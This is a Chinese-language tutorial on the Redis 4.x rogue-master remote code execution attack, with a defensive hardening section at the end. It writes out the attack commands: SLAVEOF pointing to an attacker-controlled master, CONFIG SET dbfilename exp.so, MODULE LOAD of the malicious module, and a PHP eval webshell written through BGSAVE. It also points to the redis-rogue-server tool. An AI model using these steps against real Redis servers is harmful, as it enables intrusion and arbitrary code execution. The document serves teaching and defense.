Redis 4.x RCE分析
字数 1205 2025-08-26 22:11:51

Redis 4.x RCE 攻击分析与利用教学文档

1. 攻击概述

Redis 4.x RCE攻击是一种利用Redis主从复制功能实现远程代码执行的攻击方法,由LCBC战队队员Pavel Toporkov在zeronights 2018会议上首次公开。该攻击允许攻击者在特定条件下通过Redis服务器执行任意代码。

2. 攻击前提条件

  • 能够访问远程Redis的端口(直接访问或通过SSRF)
  • 对Redis服务器可以访问到的另一台服务器有控制权(用于搭建恶意主服务器)

3. 背景知识

3.1 Redis协议

Redis支持两种传输协议:

  1. 明文协议

    SET keyname value\n
    
  2. 编码协议(RESP协议):

    *3\r\n$3\r\nSET\r\n$7\r\nkeyname\r\n$5\r\nvalue\r\n
    

    格式化表示:

    *<number of arguments> CR LF
    $<number of bytes of argument 1> CR LF
    <argument data> CR LF
    ...
    $<number of bytes of argument N> CR LF
    <argument data> CR LF
    

3.2 关键Redis命令

CONFIG SET

用于配置Redis服务器:

CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET payload '<?php eval($_GET[0]);?>'
BGSAVE

SLAVEOF

设置主从服务器关系:

SLAVEOF 127.0.0.1 7000  # 设置主服务器
SLAVEOF NO ONE          # 取消主从关系

MODULE LOAD

加载外部模块:

MODULE LOAD /path/to/exp.so
MODULE UNLOAD exp

3.3 主从复制握手流程

  1. 从服务器向主服务器发送PING命令
  2. 主服务器回复+PONG
  3. 从服务器发送REPLCONF命令交换复制信息
  4. 主服务器回复+OK
  5. 从服务器发送PSYNC/SYNC命令同步状态
  6. 主服务器回复+FULLRESYNC

4. 攻击流程

4.1 搭建恶意主服务器(Rogue Server)

恶意主服务器需要实现以下功能:

  1. 响应Redis的握手请求:

    • PING → 回复+PONG
    • REPLCONF → 回复+OK
    • PSYNC/SYNC → 回复+FULLRESYNC
  2. 在同步过程中发送恶意模块

4.2 攻击步骤

  1. 将目标Redis设置为我们的从服务器

    SLAVEOF <rogue_server_ip> <rogue_server_port>
    
  2. 设置Redis的数据库文件名

    CONFIG SET dbfilename exp.so
    
  3. 从恶意主服务器接收模块
    恶意主服务器发送格式化的响应:

    +FULLRESYNC <Z*40> 1\r\n$<len>\r\n<payload>
    
  4. 加载恶意模块

    MODULE LOAD ./exp.so
    

5. 攻击实现

5.1 工具准备

使用开源工具redis-rogue-server

git clone https://github.com/n0b0dyCN/redis-rogue-server

5.2 攻击演示

  1. 设置主服务器与数据库文件

    SLAVEOF 192.168.1.100 6379
    CONFIG SET dbfilename exp.so
    
  2. 向Redis服务器发送payload
    恶意主服务器发送格式化的恶意模块数据

  3. 加载模块

    MODULE LOAD ./exp.so
    
  4. 执行命令
    通过加载的模块实现任意命令执行

6. 防御措施

  1. 网络层防护

    • 限制Redis端口访问(绑定127.0.0.1或使用防火墙)
    • 使用VPN或私有网络
  2. 配置加固

    • 禁用危险命令:
      rename-command CONFIG ""
      rename-command MODULE ""
      rename-command SLAVEOF ""
      
    • 设置密码认证:
      requirepass <strong_password>
      
  3. 权限控制

    • 以非root用户运行Redis
    • 限制Redis写入目录
  4. 更新与监控

    • 及时更新Redis到最新版本
    • 监控异常的主从复制行为

7. 扩展知识

7.1 Redis模块开发

Redis模块可以使用RedisModulesSDK开发:

git clone https://github.com/RedisLabs/RedisModulesSDK

7.2 其他Redis攻击面

  1. 通过BGSAVE写入Webshell
  2. 通过LUA沙箱逃逸
  3. 通过DEBUG命令执行代码

8. 参考资源

  1. zeronights 2018 slides
  2. redis-rogue-server工具
  3. RedisModulesSDK
Redis 4.x RCE 攻击分析与利用教学文档 1. 攻击概述 Redis 4.x RCE攻击是一种利用Redis主从复制功能实现远程代码执行的攻击方法,由LCBC战队队员Pavel Toporkov在zeronights 2018会议上首次公开。该攻击允许攻击者在特定条件下通过Redis服务器执行任意代码。 2. 攻击前提条件 能够访问远程Redis的端口(直接访问或通过SSRF) 对Redis服务器可以访问到的另一台服务器有控制权(用于搭建恶意主服务器) 3. 背景知识 3.1 Redis协议 Redis支持两种传输协议: 明文协议 : 编码协议 (RESP协议): 格式化表示: 3.2 关键Redis命令 CONFIG SET 用于配置Redis服务器: SLAVEOF 设置主从服务器关系: MODULE LOAD 加载外部模块: 3.3 主从复制握手流程 从服务器向主服务器发送 PING 命令 主服务器回复 +PONG 从服务器发送 REPLCONF 命令交换复制信息 主服务器回复 +OK 从服务器发送 PSYNC/SYNC 命令同步状态 主服务器回复 +FULLRESYNC 4. 攻击流程 4.1 搭建恶意主服务器(Rogue Server) 恶意主服务器需要实现以下功能: 响应Redis的握手请求: PING → 回复 +PONG REPLCONF → 回复 +OK PSYNC/SYNC → 回复 +FULLRESYNC 在同步过程中发送恶意模块 4.2 攻击步骤 将目标Redis设置为我们的从服务器 : 设置Redis的数据库文件名 : 从恶意主服务器接收模块 : 恶意主服务器发送格式化的响应: 加载恶意模块 : 5. 攻击实现 5.1 工具准备 使用开源工具 redis-rogue-server : 5.2 攻击演示 设置主服务器与数据库文件 : 向Redis服务器发送payload : 恶意主服务器发送格式化的恶意模块数据 加载模块 : 执行命令 : 通过加载的模块实现任意命令执行 6. 防御措施 网络层防护 : 限制Redis端口访问(绑定127.0.0.1或使用防火墙) 使用VPN或私有网络 配置加固 : 禁用危险命令: 设置密码认证: 权限控制 : 以非root用户运行Redis 限制Redis写入目录 更新与监控 : 及时更新Redis到最新版本 监控异常的主从复制行为 7. 扩展知识 7.1 Redis模块开发 Redis模块可以使用RedisModulesSDK开发: 7.2 其他Redis攻击面 通过 BGSAVE 写入Webshell 通过 LUA 沙箱逃逸 通过 DEBUG 命令执行代码 8. 参考资源 zeronights 2018 slides redis-rogue-server工具 RedisModulesSDK